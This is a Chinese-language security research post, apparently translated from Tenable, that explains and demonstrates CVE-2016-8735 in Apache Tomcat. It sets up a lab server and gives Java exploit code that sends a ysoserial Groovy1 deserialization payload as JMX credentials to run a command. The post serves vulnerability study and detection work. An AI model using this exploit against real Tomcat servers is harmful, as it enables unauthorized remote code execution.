在Tomcat上通过CVE-2016-8735实现远程代码执行——概念验证
引言
在众多任务中,Tenable Research的漏洞检测(VD)团队负责确保Nessus提供给客户的检测功能准确且与最新漏洞保持同步。作为此流程的一部分,我们会不时开发定制化的利用代码。
在这篇文章中,我将概述为流行Servlet容器——Tomcat中的某个漏洞(CVE-2016-8735)开发利用代码的过程。
背景知识
Java平台上反序列化漏洞的危害在近年已有大量记录。CVE-2016-8735是另一个由不安全反序列化引发的漏洞示例。序列化是将Java对象图转换为字节流的过程,反序列化则是相反的过程——将字节流恢复为Java对象。下图展示了该过程:
通常,当开发者需要将对象通过网络发送或存储到文件/数据库以便后续使用时,就需要序列化。然而,如果开发者错误地假设客户端会发送哪些类型的对象给应用程序,问题就会出现。
漏洞分析
查看CVE-2016-8735的描述,NVD指出:“如果Apache Tomcat使用了JmxRemoteLifecycleListener,且攻击者能够访问JMX端口,则可能实现远程代码执行。”
我们先检查JmxRemoteLifecycleListener类及其用途。类顶部的JavaDoc说明:“此侦听器固定了JMX/RMI服务器使用的端口,使得连接jconsole或类似工具到远程Tomcat实例更加简单。”进一步研究后,我认为上述描述有误导性。该类确实固定了RMI服务器的端口,但它同时也设置了大量配置选项(例如SSL、密码认证、绑定地址等)。
接下来,对比漏洞版和修复版该类之间的变化。对8.0.36和8.0.39版本中的该类进行差异比较,发现在后者中添加了以下内容:
env.put(“jmx.remote.rmi.server.credential.types”, new String[] { String[].class.getName(), String.class.getName() });
这里的env是一个HashMap,被传递给createServer方法以自定义RMI服务器的属性。添加这行代码限制了允许用于认证的类型——只能是String和String数组。类似的修复在2016年4月Oracle CPU更新中已被应用到核心Java平台的RMI部分,用于解决CVE-2016-3427。然而,Tomcat的旧版本实现似乎没有同步更新。
搭建脆弱的Tomcat实例
该漏洞存在于多个Tomcat版本中。为此概念验证,我们将分别使用8.0.36(脆弱版)和8.0.39(修复版)。完成以下步骤后,你将得到一个Tomcat实例,监听端口8080(HTTP)、10001(RMI注册表)和10002(RMI服务器)。注册表是服务器注册其提供的服务的地方,客户端可以查询这些服务。在本例中,我们将通过配置基于文件的认证来限制对注册表的访问。
下载并解压Tomcat 8.0.36
root@tomcat-server $ wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.tar.gz && tar -xvf apache-tomcat-8.0.36.tar.gz
下载所需JAR包
从Tomcat存档的extras目录下载catalina-jmx-remote jar(包含脆弱类),以及groovy-2.3.9(用于RCE),并将两者放入$tomcat/lib/目录。
root@tomcat-server $ cd apache-tomcat-8.0.36/lib/ && wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/extras/catalina-jmx-remote.jar && wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
配置认证文件
在$tomcat/conf下创建jmxremote.access和jmxremote.password文件,内容如下:
root@tomcat-server $ echo "admin password" > apache-tomcat-8.0.36/conf/jmxremote.access
root@tomcat-server $ echo "admin readwrite" > apache-tomcat-8.0.36/conf/jmxremote.password
创建setenv.sh脚本
在$tomcat/bin目录下创建setenv.sh,添加以下内容。catalina.sh会检查该文件并在启动过程中执行它。
root@tomcat-server $ vi apache-tomcat-8.0.36/bin/setenv.sh
export JAVA_OPTS="-Dcom.sun.management.jmxremote.password.file=$CATALINA_BASE/conf/jmxremote.password \
-Dcom.sun.management.jmxremote.access.file=$CATALINA_BASE/conf/jmxremote.access \
-Dcom.sun.management.jmxremote.ssl=false \
-Djava.net.preferIPv4Stack=true \
-Djava.net.preferIPv4Addresses=true"
编辑server.xml
编辑conf目录下的server.xml,添加以下粗体内容:
<Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"/>
<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" rmiBindAddress="<your-server-ip>" />
<!-- Global JNDI resources Documentation at /docs/jndi-resources-howto.html -->
启动Tomcat并验证端口监听
root@tomcat-server$ apache-tomcat-8.0.36/bin/catalina.sh start
root@tomcat-server$ netstat -antp | grep -i "listen"
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 4863/java
tcp 0 0 172.26.24.173:10001 0.0.0.0:* LISTEN 4863/java
tcp 0 0 172.26.24.173:10002 0.0.0.0:* LISTEN 4863/java
连接注册表
为了连接并认证到监听的注册表,需要一个简单的RMI客户端。
public class SimpleRMIClient {
public static void main(String [] args) {
String [] creds = new String [] {"admin", "password"};
HashMap<String, Object> env = new HashMap<>();
env.put(JMXConnector.CREDENTIALS, creds);
String host = args[0];
String port = args[1];
String url = "service:jmx:rmi:///jndi/rmi://" + host + ":"+ port + "/jmxrmi";
System.out.println(JMXConnectorFactory.connect(new JMXServiceURL(url), env).getConnectionId());
}
}
我们首先创建一个包含之前设置的认证凭据的String数组,然后将其放入以JMXConnector.CREDENTIALS为键的HashMap中。接着创建一个指向监听服务的连接URL,连同HashMap一起传递给JMXConnectorFactory来建立连接。返回的JMXConnector对象可用于管理客户端侧的连接。这里我们仅打印与此连接关联的ID后退出。
编译并运行:
root@debian-local$ javac *.java && java SimpleRMIClient <server-ip> 10001
rmi://172.26.24.251 admin 1
成功通过注册表认证。接下来进入有趣的部分。
利用注册表
扩展现有代码,生成一个能够执行任意代码的对象,并将其替代凭据发送给注册表进行反序列化。为此,我们将使用名为ysoserial的项目,该项目生成用于利用不安全的Java反序列化的负载。
public static void main(String[] args) throws Throwable {
Object payload = new PayloadGenerator("touch /tmp/rce.txt").generateObjectPayload();
if (payload == null) {
System.err.println("[-] Error creating object payload. Exiting.. ");
System.exit(1);
}
HashMap<String,Object> env = new HashMap<>();
env.put(JMXConnector.CREDENTIALS, payload);
String host = args[0];
String port = args[1];
String url = "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi";
// 发起利用
JMXConnectorFactory.connect(new JMXServiceURL(url), env);
}
/**
* 为方便使用对ysoserial的ObjectPayload类的封装
*/
private static final class PayloadGenerator {
private String command;
private String payloadType = "Groovy1";
PayloadGenerator(String command) {
this.command = command;
}
Object generateObjectPayload() {
Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("[-] Invalid payload type '" + payloadType + "'");
return null;
}
try {
ObjectPayload payload = payloadClass.newInstance();
return payload.getObject(command);
} catch (Throwable t) {
// 不做处理,返回null
}
return null;
}
}
大部分代码应该很熟悉。我们添加了一个封装类PayloadGenerator来包装ysoserial的ObjectPayload类功能。构造函数接受想要执行的命令,本例中是"touch /tmp/rce.txt"。调用generateObjectPayload返回我们将发送给注册表的负载对象。先前包含凭据的String数组被此对象替换,然后尝试连接。
为了实现代码执行,Ysoserial要求服务器类路径中存在一个脆弱的Java库。这些脆弱库被识别出包含可用于执行任意命令的类组合(即gadget链)。需要注意的是,漏洞在于应用程序执行了不安全的反序列化,而不是因为类路径中存在gadget。
为此概念验证,我们选择Groovy作为脆弱库(已特意将其放在服务器的类路径上),尽管攻击者通常会使用所有已知的脆弱库运行其利用代码,以最大化成功几率。
下图展示了针对脆弱服务器运行利用代码的效果。
漏洞缓解措施
通过指定一个可信类的白名单来缓解该漏洞:在与RMI注册表进行认证时,只允许反序列化这些类(本例中允许String和String数组类型的对象)。如果遇到不属于这些类型的类,则阻止反序列化发生。这显然不是最优解决方案。如果这些类型中的任一个被发现存在漏洞,则可能再次被利用。
较新版本的Java引入了反序列化过滤器,提供了限制应用程序可反序列化的对象类型及对象图深度的功能。然而,这需要对我们的应用程序进行深入分析以设置合适的值——这是一项需要大量时间和资源投入才能有效完成的工作。此外,存在破坏已有正常应用程序的高风险,因此在启用这些防护措施部署应用程序之前,需要全面的质量保证周期。
显然,Java不安全的反序列化攻击问题不会在短期内得到解决,至少不会以一种“一刀切”的方式。
进一步资源
- github.com/frohoff/yso…
- nvd.nist.gov/vuln/detail… CSD0tFqvECLokhw9aBeRqlbFOGfRNSKu/VLxPMa1vueoo4PjwyuUWJaR/yT6QQfUK+Jx7dV4NoCjJ/JNBdbmX/kxGvPyUBzuW/h9T3asfCrrC/iKJEkCtfoYRw227Ks27PGr/NuMfStBKH51UAeZCA==